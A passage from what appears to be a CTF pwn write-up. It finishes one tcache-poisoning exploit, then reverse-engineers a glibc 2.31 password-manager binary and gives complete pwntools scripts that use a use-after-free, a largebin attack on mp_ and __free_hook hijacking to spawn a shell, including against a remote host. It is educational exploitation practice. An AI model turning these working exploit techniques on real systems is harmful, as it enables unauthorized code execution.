    x = tidx * 0x10 + 0x20
    tidx = (x - 0x20) / 0x10
    1st tcache_entry (0x20 tcachebin) at offset 0x80+0x10 from the chunk allocated for tcache_perthread_struct
    """
    free(3) # 3 -> tcachebin
    free(0) # 0 -> tcachebin

    tidx = (0x510 - 0x20) / 0x10	# 0x4f
    tcache_entry_offset = 0x10 + 0x80 + (int(tidx) * 8)	# 0x308
    chunk_entry_offset = tcache_entry_offset - 0x290 - 0x10 # 0x68

    # g("breakrva 0x1680")    # main: scanf
    # pause()

    pl = flat({
        chunk_entry_offset: p64(free_hook)
        }, filler=b"\0")
    add(0x500, pl)  # 6 (0)

    """
    pwndbg> vis -a
    0x612bade1d000  0x0000000000000000      0x0000000000000291  <--- heap_base
    0x612bade1d010  0x0000000000000000      0x0000000000000000
    0x612bade1d020  0x0000000000000000      0x0000000000000000
    ...
    0x612bade1d280  0x0000000000000000      0x0000000000000000
    0x612bade1d290  0x0000000000000000      0x0000000000000511
    0x612bade1d2a0  0x0000000000000000      0x0000000000000000
    0x612bade1d2b0  0x0000000000000000      0x0000000000000000
    0x612bade1d2c0  0x0000000000000000      0x0000000000000000 
    0x612bade1d2d0  0x0000000000000000      0x0000000000000000  
    0x612bade1d2e0  0x0000000000000000      0x0000000000000000   
    0x612bade1d2f0  0x0000000000000000      0x0000000000000000    
    0x612bade1d300  0x0000000000000000      0x0000713798e40e48  <--- tcache_entry for chunksize 0x510

    pwndbg> tel 0x0000713798e40e48
    00:0000│  0x713798e40e48 (__free_hook) ◂— 0x0
    """

    # Next malloc(0x500) will allocate the tcachebin chunk pointed by the hijacked tcache_entry
    add(0x500, p64(system))     # 7 (3)

    # __free_hook hijacked
    free(1)
    
    p.interactive()


if __name__ == '__main__':
    FILE_PATH = "./pwn"
    LIBC_PATH = "./libc.so.6"
    context(arch="amd64", os="linux", endian="little")
    context.log_level = "debug"
    context.terminal  = ['tmux', 'splitw', '-h']    

    e    = ELF(FILE_PATH, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None

    print("Usage: python3 xpl.py [<ip> <port>]\n"
                "  - If no arguments are provided, runs in local mode (default).\n"
                "  - Provide <ip> and <port> to target a remote host.\n")

    if len(sys.argv) == 3:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])
        
    elif len(sys.argv) == 1:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
            env = {
                "LD_PRELOAD": os.path.abspath(LIBC_PATH),
                "LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
            }
        p   = process(FILE_PATH, env=env)
        mode["local"] = True

    else:
        print("[-] Error: Invalid arguments provided.")
        sys.exit(1)

    exp()

Pwned after we've successfully hijacked __free_hook:

CTF 2: with Largebin Attack

Overview

Binary download: link

This binary is vulnerable to a use-after-free (UAF) condition, which enables a classic Largebin Attack — allowing us to write a controlled heap address to an arbitrary memory location. There are several viable paths to full exploitation here, such as IO structure hijacking (House of Apple, House of Emma, House of Banana, House of Kiwi, House of Husk, etc.) which require even fewer constraints. However, the focus of this writeup is to demonstrate how to leverage a Largebin Attack to corrupt the global mp_ (malloc_par) structure, thereby gaining control over tcache bin allocation behavior for further heap exploitation.

Full protection on and stripped:

$ checksec pwdPro
[*] '/home/Axura/ctf/pwn/pwdPro_mp_2.31/pwdPro'
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled

$ file pwdPro
pwdPro: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0cf87abb0c2c119db0081f9c5e07fd0f028a5480, for GNU/Linux 3.2.0, stripped

Glibc 2.31 is used for this pwn challenge, where hook functions are remained. The malloc-related hooks (__malloc_hook, __free_hook, __realloc_hook, etc.) were deprecated in Glibc 2.34 and removed entirely in Glibc 2.36.

Code Review

ready
C
unsigned int ready()
{
  unsigned int seed; // eax
  __int64 v2; // [rsp+0h] [rbp-10h]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  seed = time(0);
  srand(seed);
  v2 = (__int64)rand() << 32;
  qword_4040 = v2 + rand();
  return alarm(0x30u);
}

This function sets up the environment and initializes a pseudo-random 64-bit value as a password key to avoid anti-brute-force purposes.

And it sets an alarm to terminate the process after 48 seconds, which we can use patchelf to nop them out for our debugging process (it's not our goal to introduce trick in details in this post).

main
C
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char opt; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  ready(a1, a2, a3);
  dummy_bar();
  while ( 1 )
  {
    menu_bar();
    __isoc99_scanf("%c", &opt);
    switch ( opt )
    {
      case '1':
        add();
        break;
      case '2':
        edit();
        break;
      case '3':
        show();
        break;
      case '4':
        delete();
        break;
      case '5':
        recover();
        break;
      case '6':
        exit(8);
      default:
        continue;
    }
  }
}

The Menu Loop reads a single character (opt) as user choice to call a corresponding function depending on input:

  • '1'add()
  • '2'edit()
  • '3'show()
  • '4'delete()
  • '5'recover()new
  • '6'exit(8)
  • Any other input → no-op (loop continues)
add
C
unsigned __int64 add()
{
  unsigned int size; // [rsp+8h] [rbp-18h] BYREF
  unsigned int box_idx; // [rsp+Ch] [rbp-14h] BYREF
  char *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  size = 0;
  puts("Which PwdBox You Want Add:");
  __isoc99_scanf("%u", &box_idx);
  if ( box_idx <= 0x4F )
  {
    printf("Input The ID You Want Save:");
    getchar();
    read(0, (char *)&unk_4060 + 32 * box_idx, 0xFu);
    *((_BYTE *)&unk_406F + 32 * box_idx) = 0;
    printf("Length Of Your Pwd:");
    __isoc99_scanf("%u", &size);
    if ( size > 0x41F && size <= 0x888 )
    {
      s = (char *)malloc(size);
      printf("Your Pwd:");
      getchar();
      fgets(s, size, stdin);
      encrypt((__int64)s, size);
      *((_DWORD *)&unk_4078 + 8 * box_idx) = size;  // store size
      *((_QWORD *)&unk_4070 + 4 * box_idx) = s;     // store ptr
      dword_407C[8 * box_idx] = 1;                  // mark occupied
      if ( !qword_4048 )
      {
        printf("First Add Done.Thx 4 Use. Save ID:%s", *((const char **)&unk_4070 + 4 * box_idx));
        qword_4048 = 1;
      }
    }
    else
    {
      puts("Why not try To Use Your Pro Size?");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

It allocates and stores an encrypted password entry in the "PwdBox" system:

  1. Prompts for box_idx (must be ≤ 0x4F → max 80 entries)
  2. Reads and stores a user-provided ID (15 bytes max) at: (char *)&unk_4060 + 32 * box_idx
  3. Prompts for password size:
    • Must be in range 0x420 to 0x888 (i.e., allows only largebin chunks under some size restriction)
  4. Allocates a chunk of given size and stores password input via fgets()
  5. Calls encrypt() on the password
  6. Saves:
    • ptr to password
    • size
    • usage flag
  7. Prints a message if this is the first added entry (qword_4048 == 0)

The will leak the encrypted password with the password key initialized by the ready() function. We can manipulate to leak libc address from here after retrieving the randomly generated password key.

encrypt/decrypt
C
__int64 __fastcall encrypt(__int64 pwd, int pwd_len)
{
  __int64 result; // rax
  int v3; // [rsp+14h] [rbp-18h]
  int i; // [rsp+18h] [rbp-14h]

  // XOR each 8-byte block with a uit64 key
  v3 = 2 * (pwd_len / 16);
  if ( pwd_len % 16 <= 8 )
  {
    if ( pwd_len % 16 > 0 )
      ++v3;
  }
  else
  {
    v3 += 2;
  }
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i >= v3 )
      break;
    *(_QWORD *)(8LL * i + pwd) ^= qword_4040;
  }
  return result;
}

Performs a simple XOR-based encryption on the user’s password buffer.

  • pwd: pointer to password buffer
  • pwd_len: user-specified length
  • qword_4040: 64-bit global key (randomized by ready())

The encrypt and decrypt functions are exactly same in this program. They encrypt/decrypt the password buffer by XORing each 8-byte block with a global 64-bit key.

As we are able to leak the encrypted cipher text via the previous main function, we can simply provide a known 8-byte input and XOR them to calculate the randomly generated password key.

delete
C
unsigned __int64 delete()
{
  unsigned int box_idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Idx you want 2 Delete:");
  __isoc99_scanf("%u", &box_idx);
  if ( box_idx <= 0x4F && dword_407C[8 * box_idx] )
  {
    free(*((void **)&unk_4070 + 4 * box_idx));
    dword_407C[8 * box_idx] = 0;  // in-use flag
  }
  return __readfsqword(0x28u) ^ v2;
}

Frees a previously allocated password entry in the "PwdBox":

  1. Prompts user for box_idx (must be ≤ 0x4F → max 80 entries)
  2. Checks if the slot is marked as in use: dword_407C[8 * box_idx] != 0
  3. If valid:
    • Frees the heap pointer at *((void **)&unk_4070 + 4 * box_idx)
    • Clears the in-use flag: dword_407C[8 * box_idx] = 0

This function frees a password chunk and clears its "occupied" flag. Therefore, there's no UAF vulnerability here.

recover
C
unsigned __int64 recover()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Idx you want 2 Recover:");
  __isoc99_scanf("%u", &v1);
  if ( v1 <= 0x4F && !dword_407C[8 * v1] )
  {
    dword_407C[8 * v1] = 1;   // in-use flag
    puts("Recovery Done!");
  }
  return __readfsqword(0x28u) ^ v2;
}

Restores access to a previously deleted "PwdBox" entry without reallocating memory:

  1. Prompts: "Idx you want 2 Recover:"
  2. Reads v1 as box index
  3. If:
    • v1 ≤ 0x4F (valid index)
    • dword_407C[8 * v1] == 0 (i.e., previously deleted)
  4. Then:
    • Sets dword_407C[8 * v1] = 1 to mark it as "in-use" again
    • Prints "Recovery Done!"

This function restores the "used" flag for an entry without reallocating or updating the pointer. If the chunk at unk_4070[box_idx] was freed via delete(), but not overwritten, calling recover() allows access to a dangling pointer, resulting in unlimited UAF vulnerbility.

Therefore, we can easily abuse Largebin Attack using the recover() function after delete() with no limit.

show
C
unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which PwdBox You Want Check:");
  __isoc99_scanf("%u", &v1);
  getchar();
  if ( v1 <= 0x4F )
  {
    if ( dword_407C[8 * v1] )
    {
      decrypt(*((_QWORD *)&unk_4070 + 4 * v1), *((_DWORD *)&unk_4078 + 8 * v1));
      printf(
        "IDX: %d\nUsername: %s\nPwd is: %s",
        v1,
        (const char *)&unk_4060 + 32 * v1,
        *((const char **)&unk_4070 + 4 * v1));
      encrypt(*((_QWORD *)&unk_4070 + 4 * v1), *((_DWORD *)&unk_4078 + 8 * v1));
    }
    else
    {
      puts("No PassWord Store At Here");
    }
  }
  return __readfsqword(0x28u) ^ v2;
}

Displays a decrypted password entry for a given "PwdBox" index.

  1. Prompts: "Which PwdBox You Want Check:"
  2. Reads user input into v1 (box index)
  3. If:
    • v1 ≤ 0x4F and
    • dword_407C[8 * v1] != 0 (marked in-use)
  4. Then:
    • Calls decrypt(ptr, size) on the password buffer
    • Prints:
      • Box index
      • Stored username: unk_4060 + 32 * v1
      • Password: dereferenced from unk_4070 + 4 * v1
    • Re-encrypts the password with encrypt() after displaying

With the UAF primitive, we can manage to leak a libc address (for example, the unsorted bin address after freeing the chunk into the bin list) via this show() function, but encrypted. After retrieving and computing the password key, we can then calculate and recover the libc address.

EXP

Detailed explanation is embedded in the comments of the following exploit script;

Python
import sys
import inspect
from pwn import *


s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b"\0"))


def g(gdbscript: str = ""):
    if mode["local"]:
        gdb.attach(p, gdbscript=gdbscript) 

    elif mode["remote"]:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == "":
            raw_input()


def pa(addr: int) -> None:
    frame = inspect.currentframe().f_back
    variables = {k: v for k, v in frame.f_locals.items() if v is addr}
    desc = next(iter(variables.keys()), "unknown")
    success(f"[LEAK] {desc} ---> {addr:#x}")

    
def itoa(n: int) -> bytes:
    return str(n).encode()


def menu(n: int):
    opt = itoa(n)
    sla(b'Input Your Choice:\n', opt)


def add(box_idx, ID, pwd_len, pwd):
    box_idx, ID, pwd_len= map(itoa, (box_idx, ID, pwd_len))
    menu(1)
    sla(b'Add:\n', box_idx)
    sla(b'Save:', ID)
    sla(b'Length Of Your Pwd:', pwd_len)
    sla(b'Your Pwd:', pwd)

    
def free(box_idx):
    menu(4)
    sla(b'Idx you want 2 Delete:\n', itoa(box_idx))


def edit(box_idx, pl):
    menu(2)
    sla(b'Which PwdBox You Want Edit:\n', itoa(box_idx))
    s(pl)


def show(box_idx):
    menu(3)
    sla(b'Which PwdBox You Want Check:\n', itoa(box_idx))


def recover(box_idx):
    menu(5)
    sla(b'Idx you want 2 Recover:\n', itoa(box_idx))

    
def exp():
    """
    Main scanf:
    .text:0000000000001B9C                 lea     rdi, aC         ; "%c"
    .text:0000000000001BA3                 mov     eax, 0
    .text:0000000000001BA8                 call    ___isoc99_scanf

    Encrypt XOR:
    .text:00000000000014AA                 mov     rdx, cs:qword_4040

    Show:
    .text:000000000000192D                 lea     rdi, aIdxDUsernameSP ; "IDX: %d\nUsername: %s\nPwd is: %s"
    .text:0000000000001934                 mov     eax, 0
    .text:0000000000001939                 call    _printf
    ...
    .text:0000000000001972                 call    encrypt
    .text:0000000000001977                 jmp     short loc_1988
    .text:000000000000199C                 leave
    .text:000000000000199D                 retn
    """
    # g("""breakrva 0x199c""")

    """
    Leak encrypt key
    """
    add(0, 0, 0x460, b"aaaaaaaa")
    ru('Save ID:')
    leak = u64(r(8))
    key = leak ^ u64(b"aaaaaaaa")
    pa(key)

    """
    UAF 
    leak libc - encrypted_fd ^ key
    """
    add(1, 0, 0x450, p64(0xdeadbeefdeadbabe))
    add(2, 0, 0x450, p64(0xdeadbeefdeadbabe))
    free(0)
    recover(0)
    show(0)
    ru(b"Pwd is: ")
    leak = uu64(r(8)) ^ key 
    libc_base = leak - 0x1ecbe0
    pa(libc_base)

    """
    Attack mp_

  	pwndbg> ptype /o (struct malloc_par *) 0x7a4eeda65280
  	type = struct malloc_par {
  	/*    0      |     8 */    unsigned long trim_threshold;
  	/*    8      |     8 */    size_t top_pad;
  	/*   16      |     8 */    size_t mmap_threshold;
  	/*   24      |     8 */    size_t arena_test;
  	/*   32      |     8 */    size_t arena_max;
  	/*   40      |     4 */    int n_mmaps;
  	/*   44      |     4 */    int n_mmaps_max;
  	/*   48      |     4 */    int max_n_mmaps;
  	/*   52      |     4 */    int no_dyn_threshold;
  	/*   56      |     8 */    size_t mmapped_mem;
  	/*   64      |     8 */    size_t max_mmapped_mem;
  	/*   72      |     8 */    char *sbrk_base;
  	/*   80      |     8 */    size_t tcache_bins;
  	/*   88      |     8 */    size_t tcache_max_bytes;
  	/*   96      |     8 */    size_t tcache_count;
  	/*  104      |     8 */    size_t tcache_unsorted_limit;
  
  							   /* total size (bytes):  112 */
  							 } *

  	pwndbg> p  (*(struct malloc_par *)0x7a4eeda65280).tcache_bins
  	$6 = 64
  
  	pwndbg> p  &(*(struct malloc_par *)0x7a4eeda65280).tcache_bins
  	$7 = (size_t *) 0x7a4eeda652d0 <mp_+80>
  
  	pwndbg> libc
  	libc : 0x7a4eed879000
  
  	pwndbg> distance $7 0x7a4eed879000
  	0x7a4eeda652d0->0x7a4eed879000 is -0x1ec2d0 bytes (-0x3d85a words)
    """
    mp_tcache_bins = libc_base + 0x1ec2d0
    pa(mp_tcache_bins)

    """
    main: 
    before loop
    """
    # g("breakrva 0x1ba8")

    """
    Largebin attack
    Write a heap address value into mp_.tcache_bins
    """
    add(3, 0, 0x600, b"aaaaaaaa")   # 0 -> lbin

    # 1st UAF write: largebin bk_nextsize ptr
    pl = flat({
        0x18: p64(mp_tcache_bins-0x20) 
        },filler='\0' )
    edit(0, pl)

    free(2) # 2 -> usbin
    recover(2)
    add(4, 0, 0x600, b"bbbbbbbb")   # largebin attack: 2 -> lbin
    
    """
    After largebin attack:

  	pwndbg> mp
  	{
  	  trim_threshold = 131072,
  	  top_pad = 131072,
  	  mmap_threshold = 131072,
  	  arena_test = 8,
  	  arena_max = 0,
  	  n_mmaps = 0,
  	  n_mmaps_max = 65536,
  	  max_n_mmaps = 0,
  	  no_dyn_threshold = 0,
  	  mmapped_mem = 0,
  	  max_mmapped_mem = 0,
  	  sbrk_base = 0x571d44620000 "",
  	  tcache_bins = 95783212944224,
  	  tcache_max_bytes = 1032,
  	  tcache_count = 7,
  	  tcache_unsorted_limit = 0
  	}
  
  	pwndbg> x 95783212944224
  	0x571d44620b60: 0x00000000
    """

    """
    delete:
    .text:00000000000019D3                 mov     eax, 0
    .text:00000000000019D8                 call    ___isoc99_scanf
    .text:00000000000019DD                 mov     eax, [rbp+box_idx]
    ...
    .text:0000000000001A16                 mov     rdi, rax        ; ptr
    .text:0000000000001A19                 call    _free
    """
    # g("breakrva 0x1a19")
    # pause()

    """
    Tcachebin poisoning attack
    """
    bin_sh = next(libc.search(b"/bin/sh\x00"))
    system = libc_base + libc.sym.system
    free_hook = libc_base + libc.sym.__free_hook
    pa(free_hook)
    pa(system)

    free(1) # 1 -> tcachebin
    free(2) # 2 -> tcachebin 

    # 2nd UAF write: tcachebin fd ptr
    recover(2)
    edit(2, p64(free_hook))
    add(5, 0, 0x450, b"cccccccc")
    add(6, 0, 0x450, b"cccccccc")

    # Last allocated chunk is __free_hook
    edit(6, p64(system))
    edit(5, b"/bin/sh\0")
    free(5)

    p.interactive()
    

if __name__ == '__main__':
    FILE_PATH = "./pwdPro"
    LIBC_PATH = "./libc.so.6"

    context(arch="amd64", os="linux", endian="little")
    context.log_level = "debug"
    context.terminal  = ['tmux', 'splitw', '-h']    # ['<terminal_emulator>', '-e', ...]

    e    = ELF(FILE_PATH, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None

    print("Usage: python3 xpl.py [<ip> <port>]\n"
                "  - If no arguments are provided, runs in local mode (default).\n"
                "  - Provide <ip> and <port> to target a remote host.\n")

    if len(sys.argv) == 3:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])

    elif len(sys.argv) == 1:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
            env = {
                "LD_PRELOAD": os.path.abspath(LIBC_PATH),
                "LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH)),
            }
        p   = process(FILE_PATH, env=env)
        mode["local"] = True

    else:
        print("[-] Error: Invalid arguments provided.")
        sys.exit(1)
        
    exp()

Pwned after we have successfully hijacked the __free_hook


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)